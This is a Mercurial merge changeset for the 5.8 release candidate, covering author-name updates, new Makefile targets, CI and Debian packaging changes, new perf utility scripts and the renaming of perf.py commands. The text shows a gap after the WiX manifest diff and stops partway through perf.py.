# HG changeset patch # User Augie Fackler # Date 1618930866 14400 # Node ID f67b8946bb1b6cfa8328dbf8d6a9128b69ccdcb4 # Parent bc268ea9f9843d65586186c0c735001510dd1daf# Parent 5fa019ceb49950dccd1bb28dc4a16f657a083e4c merge: default into stable for 5.8 rc diff -r bc268ea9f984 -r f67b8946bb1b Makefile --- a/Makefile Thu Mar 25 19:06:28 2021 -0400 +++ b/Makefile Tue Apr 20 11:01:06 2021 -0400 @@ -68,6 +68,12 @@ build: $(PYTHON) setup.py $(PURE) build $(COMPILERFLAG) +build-chg: + make -C contrib/chg + +build-rhg: + (cd rust/rhg; cargo build --release) + wheel: FORCE_SETUPTOOLS=1 $(PYTHON) setup.py $(PURE) bdist_wheel $(COMPILERFLAG) @@ -96,6 +102,9 @@ install-bin: build $(PYTHON) setup.py $(PURE) install --root="$(DESTDIR)/" --prefix="$(PREFIX)" --force +install-chg: build-chg + make -C contrib/chg install PREFIX="$(PREFIX)" + install-doc: doc cd doc && $(MAKE) $(MFLAGS) install @@ -107,6 +116,9 @@ install-home-doc: doc cd doc && $(MAKE) $(MFLAGS) PREFIX="$(HOME)" install +install-rhg: build-rhg + install -m 755 rust/target/release/rhg "$(PREFIX)"/bin/ + MANIFEST-doc: $(MAKE) -C doc MANIFEST @@ -175,7 +187,7 @@ $(PYFILESCMD) | xargs \ xgettext --package-name "Mercurial" \ --msgid-bugs-address "" \ - --copyright-holder "Matt Mackall and others" \ + --copyright-holder "Olivia Mackall and others" \ --from-code ISO-8859-1 --join --sort-by-file --add-comments=i18n: \ -d hg -p i18n -o hg.pot.tmp $(PYTHON) i18n/posplit i18n/hg.pot.tmp diff -r bc268ea9f984 -r f67b8946bb1b README.rst --- a/README.rst Thu Mar 25 19:06:28 2021 -0400 +++ b/README.rst Tue Apr 20 11:01:06 2021 -0400 @@ -18,3 +18,13 @@ See https://mercurial-scm.org/ for detailed installation instructions, platform-specific notes, and Mercurial user information. + +Notes for packagers +=================== + +Mercurial ships a copy of the python-zstandard sources. This is used to +provide support for zstd compression and decompression functionality. The +module is not intended to be replaced by the plain python-zstandard nor +is it intended to use a system zstd library. Patches can result in hard +to diagnose errors and are explicitly discouraged as unsupported +configuration. diff -r bc268ea9f984 -r f67b8946bb1b black.toml --- a/black.toml Thu Mar 25 19:06:28 2021 -0400 +++ /dev/null Thu Jan 01 00:00:00 1970 +0000 @@ -1,14 +0,0 @@ -[tool.black] -line-length = 80 -exclude = ''' -build/ -| wheelhouse/ -| dist/ -| packages/ -| \.hg/ -| \.mypy_cache/ -| \.venv/ -| mercurial/thirdparty/ -''' -skip-string-normalization = true -quiet = true diff -r bc268ea9f984 -r f67b8946bb1b contrib/all-revsets.txt --- a/contrib/all-revsets.txt Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/all-revsets.txt Tue Apr 20 11:01:06 2021 -0400 @@ -46,8 +46,8 @@ # Used in revision c1546d7400ef min(0::) # Used in revision 546fa6576815 -author(lmoscovicz) or author(mpm) -author(mpm) or author(lmoscovicz) +author(lmoscovicz) or author(olivia) +author(olivia) or author(lmoscovicz) # Used in revision 9bfe68357c01 public() and id("d82e2223f132") # Used in revision ba89f7b542c9 @@ -100,7 +100,7 @@ draft() and ::tip ::tip and draft() author(lmoscovicz) -author(mpm) +author(olivia) ::p1(p1(tip)):: public() :10000 and public() @@ -130,7 +130,7 @@ head() head() - public() draft() and head() -head() and author("mpm") +head() and author("olivia") # testing the mutable phases set draft() diff -r bc268ea9f984 -r f67b8946bb1b contrib/base-revsets.txt --- a/contrib/base-revsets.txt Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/base-revsets.txt Tue Apr 20 11:01:06 2021 -0400 @@ -25,9 +25,9 @@ 0::tip roots(0::tip) author(lmoscovicz) -author(mpm) -author(lmoscovicz) or author(mpm) -author(mpm) or author(lmoscovicz) +author(olivia) +author(lmoscovicz) or author(olivia) +author(olivia) or author(lmoscovicz) tip:0 0:: # those two `roots(...)` inputs are close to what phase movement use. diff -r bc268ea9f984 -r f67b8946bb1b contrib/check-code.py --- a/contrib/check-code.py Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/check-code.py Tue Apr 20 11:01:06 2021 -0400 @@ -2,7 +2,7 @@ # # check-code - a style and portability checker for Mercurial # -# Copyright 2010 Matt Mackall +# Copyright 2010 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b contrib/check-commit --- a/contrib/check-commit Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/check-commit Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ #!/usr/bin/env python3 # -# Copyright 2014 Matt Mackall +# Copyright 2014 Olivia Mackall # # A tool/hook to run basic sanity checks on commits/patches for # submission to Mercurial. Install by adding the following to your diff -r bc268ea9f984 -r f67b8946bb1b contrib/check-config.py --- a/contrib/check-config.py Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/check-config.py Tue Apr 20 11:01:06 2021 -0400 @@ -2,7 +2,7 @@ # # check-config - a config flag documentation checker for Mercurial # -# Copyright 2015 Matt Mackall +# Copyright 2015 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b contrib/chg/chg.1 --- a/contrib/chg/chg.1 Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/chg/chg.1 Tue Apr 20 11:01:06 2021 -0400 @@ -36,6 +36,6 @@ .B \-\-kill\-chg\-daemon Terminate the background command servers. .SH SEE ALSO -.BR hg (1), +.BR hg (1) .SH AUTHOR Written by Yuya Nishihara . diff -r bc268ea9f984 -r f67b8946bb1b contrib/clang-format-ignorelist --- a/contrib/clang-format-ignorelist Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/clang-format-ignorelist Tue Apr 20 11:01:06 2021 -0400 @@ -9,3 +9,4 @@ hgext/fsmonitor/pywatchman/**.c mercurial/thirdparty/**.c mercurial/thirdparty/**.h +mercurial/pythoncapi_compat.h diff -r bc268ea9f984 -r f67b8946bb1b contrib/examples/fix.hgrc --- a/contrib/examples/fix.hgrc Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/examples/fix.hgrc Tue Apr 20 11:01:06 2021 -0400 @@ -5,7 +5,7 @@ rustfmt:command = rustfmt +nightly rustfmt:pattern = set:"**.rs" - "mercurial/thirdparty/**" -black:command = black --config=black.toml - +black:command = black --config=pyproject.toml - black:pattern = set:**.py - mercurial/thirdparty/** # Mercurial doesn't have any Go code, but if we did this is how we diff -r bc268ea9f984 -r f67b8946bb1b contrib/fuzz/Makefile --- a/contrib/fuzz/Makefile Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/fuzz/Makefile Tue Apr 20 11:01:06 2021 -0400 @@ -1,5 +1,5 @@ -CC = clang -CXX = clang++ +CC ?= clang +CXX ?= clang++ # By default, use our own standalone_fuzz_target_runner. # This runner does no fuzzing, but simply executes the inputs @@ -10,6 +10,15 @@ # OSS-Fuzz will define its own value for LIB_FUZZING_ENGINE. LIB_FUZZING_ENGINE ?= standalone_fuzz_target_runner.o +# Default to Python 3. +# +# Windows ships Python 3 as `python.exe`, which may not be on PATH. py.exe is. +ifeq ($(OS),Windows_NT) +PYTHON?=py -3 +else +PYTHON?=python3 +endif + PYTHON_CONFIG ?= $$OUT/sanpy/bin/python-config PYTHON_CONFIG_FLAGS ?= --ldflags --embed @@ -20,7 +29,7 @@ standalone_fuzz_target_runner.o: standalone_fuzz_target_runner.cc $$OUT/%_fuzzer_seed_corpus.zip: %_corpus.py - python $< $@ + $(PYTHON) $< $@ pyutil.o: pyutil.cc pyutil.h $(CXX) $(CXXFLAGS) -g -O1 \ diff -r bc268ea9f984 -r f67b8946bb1b contrib/heptapod-ci.yml --- a/contrib/heptapod-ci.yml Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/heptapod-ci.yml Tue Apr 20 11:01:06 2021 -0400 @@ -7,6 +7,8 @@ variables: PYTHON: python TEST_HGMODULEPOLICY: "allow" + HG_CI_IMAGE_TAG: "latest" + TEST_HGTESTS_ALLOW_NETIO: "0" .runtests_template: &runtests stage: tests @@ -17,21 +19,12 @@ - hg -R /tmp/mercurial-ci/ update `hg log --rev '.' --template '{node}'` - cd /tmp/mercurial-ci/ - ls -1 tests/test-check-*.* > /tmp/check-tests.txt + - black --version + - clang-format --version script: - echo "python used, $PYTHON" - echo "$RUNTEST_ARGS" - - HGMODULEPOLICY="$TEST_HGMODULEPOLICY" "$PYTHON" tests/run-tests.py --color=always $RUNTEST_ARGS - - -.rust_template: &rust - before_script: - - hg clone . /tmp/mercurial-ci/ --noupdate --config phases.publish=no - - hg -R /tmp/mercurial-ci/ update `hg log --rev '.' --template '{node}'` - - ls -1 tests/test-check-*.* > /tmp/check-tests.txt - - cd /tmp/mercurial-ci/rust/rhg - - cargo build - - cd /tmp/mercurial-ci/ - + - HGTESTS_ALLOW_NETIO="$TEST_HGTESTS_ALLOW_NETIO" HGMODULEPOLICY="$TEST_HGMODULEPOLICY" "$PYTHON" tests/run-tests.py --color=always $RUNTEST_ARGS checks-py2: <<: *runtests @@ -58,14 +51,23 @@ phabricator-refresh: stage: phabricator + variables: + DEFAULT_COMMENT: ":white_check_mark: refresh by Heptapod after a successful CI run (:octopus: :green_heart:)" + STABLE_COMMENT: ":white_check_mark: refresh by Heptapod after a successful CI run (:octopus: :green_heart:)\n⚠ This patch is intended for stable ⚠\n{image https://media.giphy.com/media/nYI8SmmChYXK0/source.gif}" script: - - "./contrib/phab-refresh-stack.sh --comment \":white_check_mark: refresh by Heptapod after a successful CI run (:octopus: :green_heart:)\"" + - | + if [ `hg branch` == "stable" ]; then + ./contrib/phab-refresh-stack.sh --comment "$STABLE_COMMENT"; + else + ./contrib/phab-refresh-stack.sh --comment "$DEFAULT_COMMENT"; + fi test-py2: <<: *runtests variables: RUNTEST_ARGS: " --no-rust --blacklist /tmp/check-tests.txt" TEST_HGMODULEPOLICY: "c" + TEST_HGTESTS_ALLOW_NETIO: "1" test-py3: <<: *runtests @@ -73,6 +75,7 @@ RUNTEST_ARGS: " --no-rust --blacklist /tmp/check-tests.txt" PYTHON: python3 TEST_HGMODULEPOLICY: "c" + TEST_HGTESTS_ALLOW_NETIO: "1" test-py2-pure: <<: *runtests @@ -89,7 +92,6 @@ test-py2-rust: <<: *runtests - <<: *rust variables: HGWITHRUSTEXT: cpython RUNTEST_ARGS: "--rust --blacklist /tmp/check-tests.txt" @@ -97,13 +99,20 @@ test-py3-rust: <<: *runtests - <<: *rust variables: HGWITHRUSTEXT: cpython RUNTEST_ARGS: "--rust --blacklist /tmp/check-tests.txt" PYTHON: python3 TEST_HGMODULEPOLICY: "rust+c" +test-py3-rhg: + <<: *runtests + variables: + HGWITHRUSTEXT: cpython + RUNTEST_ARGS: "--rust --rhg --blacklist /tmp/check-tests.txt" + PYTHON: python3 + TEST_HGMODULEPOLICY: "rust+c" + test-py2-chg: <<: *runtests variables: diff -r bc268ea9f984 -r f67b8946bb1b contrib/hg-test-mode.el --- a/contrib/hg-test-mode.el Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/hg-test-mode.el Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ ;; hg-test-mode.el - Major mode for editing Mercurial tests ;; -;; Copyright 2014 Matt Mackall +;; Copyright 2014 Olivia Mackall ;; "I have no idea what I'm doing" ;; ;; This software may be used and distributed according to the terms of the diff -r bc268ea9f984 -r f67b8946bb1b contrib/hgperf --- a/contrib/hgperf Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/hgperf Tue Apr 20 11:01:06 2021 -0400 @@ -2,7 +2,7 @@ # # hgperf - measure performance of Mercurial commands # -# Copyright 2014 Matt Mackall +# Copyright 2014 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b contrib/logo-droplets.svg --- a/contrib/logo-droplets.svg Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/logo-droplets.svg Tue Apr 20 11:01:06 2021 -0400 @@ -1,5 +1,5 @@ -image/svg+xmlMercurial "droplets" logoCali Mastny and Matt MackallFeb 12 2008 +image/svg+xmlMercurial "droplets" logoCali Mastny and Olivia MackallFeb 12 2008 diff -r bc268ea9f984 -r f67b8946bb1b contrib/memory.py --- a/contrib/memory.py Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/memory.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # memory.py - track memory usage # -# Copyright 2009 Matt Mackall and others +# Copyright 2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b contrib/packaging/debian/control --- a/contrib/packaging/debian/control Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/packaging/debian/control Tue Apr 20 11:01:06 2021 -0400 @@ -25,7 +25,9 @@ Suggests: wish Replaces: mercurial-common Breaks: mercurial-common +Provides: python3-mercurial Architecture: any +Homepage: https://www.mercurial-scm.org/ Description: fast, easy to use, distributed revision control tool. Mercurial is a fast, lightweight Source Control Management system designed for efficient handling of very large distributed projects. diff -r bc268ea9f984 -r f67b8946bb1b contrib/packaging/debian/copyright --- a/contrib/packaging/debian/copyright Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/packaging/debian/copyright Tue Apr 20 11:01:06 2021 -0400 @@ -3,7 +3,7 @@ Source: https://www.mercurial-scm.org/ Files: * -Copyright: 2005-2021, Matt Mackall and others. +Copyright: 2005-2021, Olivia Mackall and others. License: GPL-2+ This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public diff -r bc268ea9f984 -r f67b8946bb1b contrib/packaging/debian/rules --- a/contrib/packaging/debian/rules Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/packaging/debian/rules Tue Apr 20 11:01:06 2021 -0400 @@ -18,6 +18,10 @@ # DEB_HG_PYTHON_VERSIONS="3.7 3.8" make deb DEB_HG_MULTI_VERSION?=0 +# Set to 1 to make /usr/bin/hg a symlink to chg, and move hg to +# /usr/lib/mercurial/hg. +DEB_HG_CHG_BY_DEFAULT?=0 + CPUS=$(shell cat /proc/cpuinfo | grep -E ^processor | wc -l) # By default, only build for the version of python3 that the system considers @@ -40,6 +44,12 @@ DEB_HG_PYTHON_VERSIONS?=$(shell py3versions -vd) endif +ifeq ($(DEB_HG_CHG_BY_DEFAULT), 1) + # Important: the "real" hg must have a 'basename' of 'hg'. Otherwise, hg + # behaves differently when setting $HG and breaks aliases that use that. + export HGPATH=/usr/lib/mercurial/hg +endif + export HGPYTHON3=1 export PYTHON=python3 @@ -86,3 +96,8 @@ cp contrib/bash_completion "$(CURDIR)"/debian/mercurial/usr/share/bash-completion/completions/hg mkdir -p "$(CURDIR)"/debian/mercurial/usr/share/zsh/vendor-completions cp contrib/zsh_completion "$(CURDIR)"/debian/mercurial/usr/share/zsh/vendor-completions/_hg + if [ "$(DEB_HG_CHG_BY_DEFAULT)" -eq 1 ]; then \ + mkdir -p "$(CURDIR)"/debian/mercurial/usr/lib/mercurial; \ + mv "$(CURDIR)"/debian/mercurial/usr/bin/hg "$(CURDIR)"/debian/mercurial/usr/lib/mercurial/hg; \ + ln -s chg "$(CURDIR)"/debian/mercurial/usr/bin/hg; \ + fi diff -r bc268ea9f984 -r f67b8946bb1b contrib/packaging/hgpackaging/util.py --- a/contrib/packaging/hgpackaging/util.py Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/packaging/hgpackaging/util.py Tue Apr 20 11:01:06 2021 -0400 @@ -161,10 +161,10 @@ >>> normalize_windows_version("5.3rc1") '5.3.0.1' - >>> normalize_windows_version("5.3rc1+2-abcdef") + >>> normalize_windows_version("5.3rc1+hg2.abcdef") '5.3.0.1' - >>> normalize_windows_version("5.3+2-abcdef") + >>> normalize_windows_version("5.3+hg2.abcdef") '5.3.0.2' """ if '+' in version: @@ -188,8 +188,8 @@ if rc is not None: versions.append(rc) elif extra: - # -+ - versions.append(int(extra.split('-')[0])) + # hg.+ + versions.append(int(extra.split('.')[0][2:])) return '.'.join('%d' % x for x in versions[0:4]) diff -r bc268ea9f984 -r f67b8946bb1b contrib/packaging/inno/mercurial.iss --- a/contrib/packaging/inno/mercurial.iss Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/packaging/inno/mercurial.iss Tue Apr 20 11:01:06 2021 -0400 @@ -6,7 +6,7 @@ #endif [Setup] -AppCopyright=Copyright 2005-2021 Matt Mackall and others +AppCopyright=Copyright 2005-2021 Olivia Mackall and others AppName=Mercurial AppVersion={#VERSION} OutputBaseFilename=Mercurial-{#VERSION}{#SUFFIX} @@ -20,7 +20,7 @@ InfoAfterFile=../postinstall.txt LicenseFile=Copying.txt ShowLanguageDialog=yes -AppPublisher=Matt Mackall and others +AppPublisher=Olivia Mackall and others AppPublisherURL=https://mercurial-scm.org/ AppSupportURL=https://mercurial-scm.org/ AppUpdatesURL=https://mercurial-scm.org/ @@ -29,8 +29,8 @@ DefaultDirName={pf}\Mercurial SourceDir=stage VersionInfoDescription=Mercurial distributed SCM (version {#VERSION}) -VersionInfoCopyright=Copyright 2005-2021 Matt Mackall and others -VersionInfoCompany=Matt Mackall and others +VersionInfoCopyright=Copyright 2005-2021 Olivia Mackall and others +VersionInfoCompany=Olivia Mackall and others VersionInfoVersion={#QUAD_VERSION} InternalCompressLevel=max SolidCompression=true diff -r bc268ea9f984 -r f67b8946bb1b contrib/packaging/wix/mercurial.wxs --- a/contrib/packaging/wix/mercurial.wxs Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/packaging/wix/mercurial.wxs Tue Apr 20 11:01:06 2021 -0400 @@ -19,14 +19,14 @@ Name='Mercurial $(var.Version) ($(var.Platform))' UpgradeCode='$(var.ProductUpgradeCode)' Language='1033' Codepage='1252' Version='$(var.Version)' - Manufacturer='Matt Mackall and others'> + Manufacturer='Olivia Mackall and others'> /data/discovery-references/results/disco-mozilla-unified-$1-$2.txt +# ) + + +def to_revsets(case): + t = case[0] + if t == 'scratch': + return 'not scratch(all(), %d, "%d")' % (case[1], case[2]) + elif t == 'randomantichain': + return '::randomantichain(all(), "%d")' % case[1] + elif t == 'rev': + return '::%d' % case[1] + else: + assert False + + +def process(case): + (repo, left, right) = case + cmd = list(CMD_BASE) + cmd.append('-R') + cmd.append(repo[0]) + cmd.append('--local-as-revs') + cmd.append(to_revsets(left)) + cmd.append('--remote-as-revs') + cmd.append(to_revsets(right)) + s = subprocess.Popen(cmd, stdout=subprocess.PIPE) + out, err = s.communicate() + return json.loads(out)[0] + + +def interesting_boundary(res): + """check if a case is interesting or not + + For now we are mostly interrested in case were we do multiple roundstrip + and where the boundary is somewhere in the middle of the undecided set. + + Ideally, we would make this configurable, but this is not a focus for now + + return None or (round-trip, undecided-common, undecided-missing) + """ + roundtrips = res["total-roundtrips"] + if roundtrips <= 1: + return None + undecided_common = res["nb-ini_und-common"] + undecided_missing = res["nb-ini_und-missing"] + if undecided_common == 0: + return None + if undecided_missing == 0: + return None + return (roundtrips, undecided_common, undecided_missing) + + +def end(*args, **kwargs): + done.set() + + +def format_case(case): + return '-'.join(str(s) for s in case) + + +signal.signal(signal.SIGINT, end) + +for i in range(JOB): + threading.Thread(target=worker).start() + +nb_cases = 0 +while not done.is_set(): + repo = random.choice(repos) + left = pick_one(repo) + right = pick_one(repo) + cases.put((repo, left, right)) + while not results.empty(): + # results has a single reader so this is fine + c, res = results.get_nowait() + boundary = interesting_boundary(res) + if boundary is not None: + print(c[0][0], format_case(c[1]), format_case(c[2]), *boundary) + sys.stdout.flush() + + nb_cases += 1 + if not nb_cases % 100: + print('[%d cases generated]' % nb_cases, file=sys.stderr) + +for i in range(JOB): + try: + cases.put_nowait(None) + except queue.Full: + pass + +print('[%d cases generated]' % nb_cases, file=sys.stderr) +print('[ouput generation is over]' % nb_cases, file=sys.stderr) diff -r bc268ea9f984 -r f67b8946bb1b contrib/perf-utils/subsetmaker.py --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/contrib/perf-utils/subsetmaker.py Tue Apr 20 11:01:06 2021 -0400 @@ -0,0 +1,170 @@ +"""revset to select sample of repository + +Hopefully this is useful to create interesting discovery cases. +""" + +import collections +import random + +from mercurial.i18n import _ + +from mercurial import ( + registrar, + revset, + revsetlang, + smartset, +) + +revsetpredicate = registrar.revsetpredicate() + + +@revsetpredicate(b'subsetspec("")') +def subsetmarkerspec(repo, subset, x): + """use a shorthand spec as used by search-discovery-case + + Supported format are: + + - "scratch-count-seed": not scratch(all(), count, "seed") + - "randomantichain-seed": ::randomantichain(all(), "seed") + - "rev-REV": "::REV" + """ + args = revsetlang.getargs( + x, 0, 1, _(b'subsetspec("spec") required an argument') + ) + + spec = revsetlang.getstring(args[0], _(b"spec should be a string")) + case = spec.split(b'-') + t = case[0] + if t == b'scratch': + spec_revset = b'not scratch(all(), %s, "%s")' % (case[1], case[2]) + elif t == b'randomantichain': + spec_revset = b'::randomantichain(all(), "%s")' % case[1] + elif t == b'rev': + spec_revset = b'::%d' % case[1] + else: + assert False, spec + + selected = repo.revs(spec_revset) + + return selected & subset + + +@revsetpredicate(b'scratch(REVS, , [seed])') +def scratch(repo, subset, x): + """randomly remove revision from the repository top + + This subset is created by recursively picking changeset starting from the + heads. It can be summarized using the following algorithm:: + + selected = set() + for i in range(): + unselected = repo.revs("not ") + candidates = repo.revs("heads()") + pick = random.choice(candidates) + selected.add(pick) + """ + m = _(b"scratch expects revisions, count argument and an optional seed") + args = revsetlang.getargs(x, 2, 3, m) + if len(args) == 2: + x, n = args + rand = random + elif len(args) == 3: + x, n, seed = args + seed = revsetlang.getinteger(seed, _(b"seed should be a number")) + rand = random.Random(seed) + else: + assert False + + n = revsetlang.getinteger(n, _(b"scratch expects a number")) + + selected = set() + heads = set() + children_count = collections.defaultdict(lambda: 0) + parents = repo.changelog._uncheckedparentrevs + + baseset = revset.getset(repo, smartset.fullreposet(repo), x) + baseset.sort() + for r in baseset: + heads.add(r) + + p1, p2 = parents(r) + if p1 >= 0: + heads.discard(p1) + children_count[p1] += 1 + if p2 >= 0: + heads.discard(p2) + children_count[p2] += 1 + + for h in heads: + assert children_count[h] == 0 + + selected = set() + for x in range(n): + if not heads: + break + pick = rand.choice(list(heads)) + heads.remove(pick) + assert pick not in selected + selected.add(pick) + p1, p2 = parents(pick) + if p1 in children_count: + assert p1 in children_count + children_count[p1] -= 1 + assert children_count[p1] >= 0 + if children_count[p1] == 0: + assert p1 not in selected, (r, p1) + heads.add(p1) + if p2 in children_count: + assert p2 in children_count + children_count[p2] -= 1 + assert children_count[p2] >= 0 + if children_count[p2] == 0: + assert p2 not in selected, (r, p2) + heads.add(p2) + + return smartset.baseset(selected) & subset + + +@revsetpredicate(b'randomantichain(REVS, [seed])') +def antichain(repo, subset, x): + """Pick a random anti-chain in the repository + + A antichain is a set of changeset where there isn't any element that is + either a descendant or ancestors of any other element in the set. In other + word, all the elements are independant. It can be summarized with the + following algorithm:: + + selected = set() + unselected = repo.revs('all()') + while unselected: + pick = random.choice(unselected) + selected.add(pick) + unselected -= repo.revs(':: + ::') + """ + + args = revsetlang.getargs( + x, 1, 2, _(b"randomantichain expects revisions and an optional seed") + ) + if len(args) == 1: + (x,) = args + rand = random + elif len(args) == 2: + x, seed = args + seed = revsetlang.getinteger(seed, _(b"seed should be a number")) + rand = random.Random(seed) + else: + assert False + + selected = set() + + baseset = revset.getset(repo, smartset.fullreposet(repo), x) + undecided = baseset + + while undecided: + pick = rand.choice(list(undecided)) + selected.add(pick) + undecided = repo.revs( + '%ld and not (::%ld or %ld::head())', baseset, selected, selected + ) + + return smartset.baseset(selected) & subset diff -r bc268ea9f984 -r f67b8946bb1b contrib/perf.py --- a/contrib/perf.py Thu Mar 25 19:06:28 2021 -0400 +++ b/contrib/perf.py Tue Apr 20 11:01:06 2021 -0400 @@ -744,7 +744,7 @@ # perf commands -@command(b'perfwalk', formatteropts) +@command(b'perf::walk|perfwalk', formatteropts) def perfwalk(ui, repo, *pats, **opts): opts = _byteskwargs(opts) timer, fm = gettimer(ui, opts) @@ -759,7 +759,7 @@ fm.end() -@command(b'perfannotate', formatteropts) +@command(b'perf::annotate|perfannotate', formatteropts) def perfannotate(ui, repo, f, **opts): opts = _byteskwargs(opts) timer, fm = gettimer(ui, opts) @@ -769,7 +769,7 @@ @command( - b'perfstatus', + b'perf::status|perfstatus', [ (b'u', b'unknown', False, b'ask status to look for unknown files'), (b'', b'dirstate', False, b'benchmark the internal dirstate call'), @@ -806,7 +806,7 @@ fm.end() -@command(b'perfaddremove', formatteropts) +@command(b'perf::addremove|perfaddremove', formatteropts) def perfaddremove(ui, repo, **opts): opts = _byteskwargs(opts) timer, fm = gettimer(ui, opts) @@ -837,7 +837,7 @@ cl._nodepos = None -@command(b'perfheads', formatteropts) +@command(b'perf::heads|perfheads', formatteropts) def perfheads(ui, repo, **opts): """benchmark the computation of a changelog heads""" opts = _byteskwargs(opts) @@ -855,7 +855,7 @@ @command( - b'perftags', + b'perf::tags|perftags', formatteropts + [ (b'', b'clear-revlogs', False, b'refresh changelog and manifest'), @@ -880,7 +880,7 @@ fm.end() -@command(b'perfancestors', formatteropts) +@command(b'perf::ancestors|perfancestors', formatteropts) def perfancestors(ui, repo, **opts): opts = _byteskwargs(opts) timer, fm = gettimer(ui, opts) @@ -894,7 +894,7 @@ fm.end() -@command(b'perfancestorset', formatteropts) +@command(b'perf::ancestorset|perfancestorset', formatteropts) def perfancestorset(ui, repo, revset, **opts): opts = _byteskwargs(opts) timer, fm = gettimer(ui, opts) @@ -910,12 +910,18 @@ fm.end() -@command(b'perfdiscovery', formatteropts, b'PATH') +@command(b'perf::discovery|perfdiscovery', formatteropts, b'PATH') def perfdiscovery(ui, repo, path, **opts): """benchmark discovery between local repo and the peer at given path""" repos = [repo, None] timer, fm = gettimer(ui, opts) - path = ui.expandpath(path) + + try: + from mercurial.utils.urlutil import get_unique_pull_path + + path = get_unique_pull_path(b'perfdiscovery', repo, ui, path)[0] + except ImportError: + path = ui.expandpath(path) def s(): repos[1] = hg.peer(ui, opts, path) @@ -928,7 +934,7 @@ @command( - b'perfbookmarks', + b'perf::bookmarks|perfbookmarks', formatteropts + [ (b'', b'clear-revlogs', False, b'refresh changelog and manifest'), @@ -953,7 +959,7 @@ fm.end() -@command(b'perfbundleread', formatteropts, b'BUNDLE') +@command(b'perf::bundleread|perfbundleread', formatteropts, b'BUNDLE') def perfbundleread(ui, repo, bundlepath, **opts): """Benchmark reading of bundle files. @@ -1080,7 +1086,7 @@ @command( - b'perfchangegroupchangelog', + b'perf::changegroupchangelog|perfchangegroupchangelog', formatteropts + [ (b'', b'cgversion', b'02', b'changegroup version'), @@ -1116,7 +1122,7 @@ fm.end() -@command(b'perfdirs', formatteropts) +@command(b'perf::dirs|perfdirs', formatteropts) def perfdirs(ui, repo, **opts): opts = _byteskwargs(opts) timer, fm = gettimer(ui, opts) @@ -1132,7 +1138,7 @@ @command( - b'perfdirstate', + b'perf::dirstate|perfdirstate', [ ( b'', @@ -1195,7 +1201,7 @@ fm.end() -@command(b'perfdirstatedirs', formatteropts) +@command(b'perf::dirstatedirs|perfdirstatedirs', formatteropts) def perfdirstatedirs(ui, repo, **opts): """benchmap a 'dirstate.hasdir' call from an empty `dirs` cache""" opts = _byteskwargs(opts) @@ -1212,7 +1218,7 @@ fm.end() -@command(b'perfdirstatefoldmap', formatteropts) +@command(b'perf::dirstatefoldmap|perfdirstatefoldmap', formatteropts) def perfdirstatefoldmap(ui, repo, **opts): """benchmap a `dirstate._map.filefoldmap.get()` request @@ -1233,7 +1239,7 @@ fm.end() -@command(b'perfdirfoldmap', formatteropts) +@command(b'perf::dirfoldmap|perfdirfoldmap', formatteropts) def perfdirfoldmap(ui, repo, **opts): """benchmap a `dirstate._map.dirfoldmap.get()` request @@ -1255,7 +1261,7 @@ fm.end() -@command(b'perfdirstatewrite', formatteropts) +@command(b'perf::dirstatewrite|perfdirstatewrite', formatteropts) def perfdirstatewrite(ui, repo, **opts): """benchmap the time it take to write a dirstate on disk""" opts = _byteskwargs(opts) @@ -1297,7 +1303,7 @@ @command( - b'perfmergecalculate', + b'perf::mergecalculate|perfmergecalculate', [ (b'r', b'rev', b'.', b'rev to merge against'), (b'', b'from', b'', b'rev to merge from'), @@ -1330,7 +1336,7 @@ @command( - b'perfmergecopies', + b'perf::mergecopies|perfmergecopies', [ (b'r', b'rev', b'.', b'rev to merge against'), (b'', b'from', b'', b'rev to merge from'), @@ -1353,7 +1359,7 @@ fm.end() -@command(b'perfpathcopies', [], b"REV REV") +@command(b'perf::pathcopies|perfpathcopies', [], b"REV REV") def perfpathcopies(ui, repo, rev1, rev2, **opts): """benchmark the copy tracing logic""" opts = _byteskwargs(opts) @@ -1369,7 +1375,7 @@ @command( - b'perfphases', + b'perf::phases|perfphases', [ (b'', b'full', False, b'include file reading time too'), ], @@ -1394,7 +1400,7 @@ fm.end() -@command(b'perfphasesremote', [], b"[DEST]") +@command(b'perf::phasesremote|perfphasesremote', [], b"[DEST]") def perfphasesremote(ui, repo, dest=None, **opts): """benchmark time needed to analyse phases of the remote server""" from mercurial.node import bin @@ -1407,7 +1413,7 @@ opts = _byteskwargs(opts) timer, fm = gettimer(ui, opts) - path = ui.paths.getpath(dest, default=(b'default-push', b'default')) + path = ui.getpath(dest, default=(b'default-push', b'default')) if not path: raise error.Abort( b'default repository not configured!', @@ -1455,7 +1461,7 @@ @command( - b'perfmanifest', + b'perf::manifest|perfmanifest', [ (b'm', b'manifest-rev', False, b'Look up a manifest node revision'), (b'', 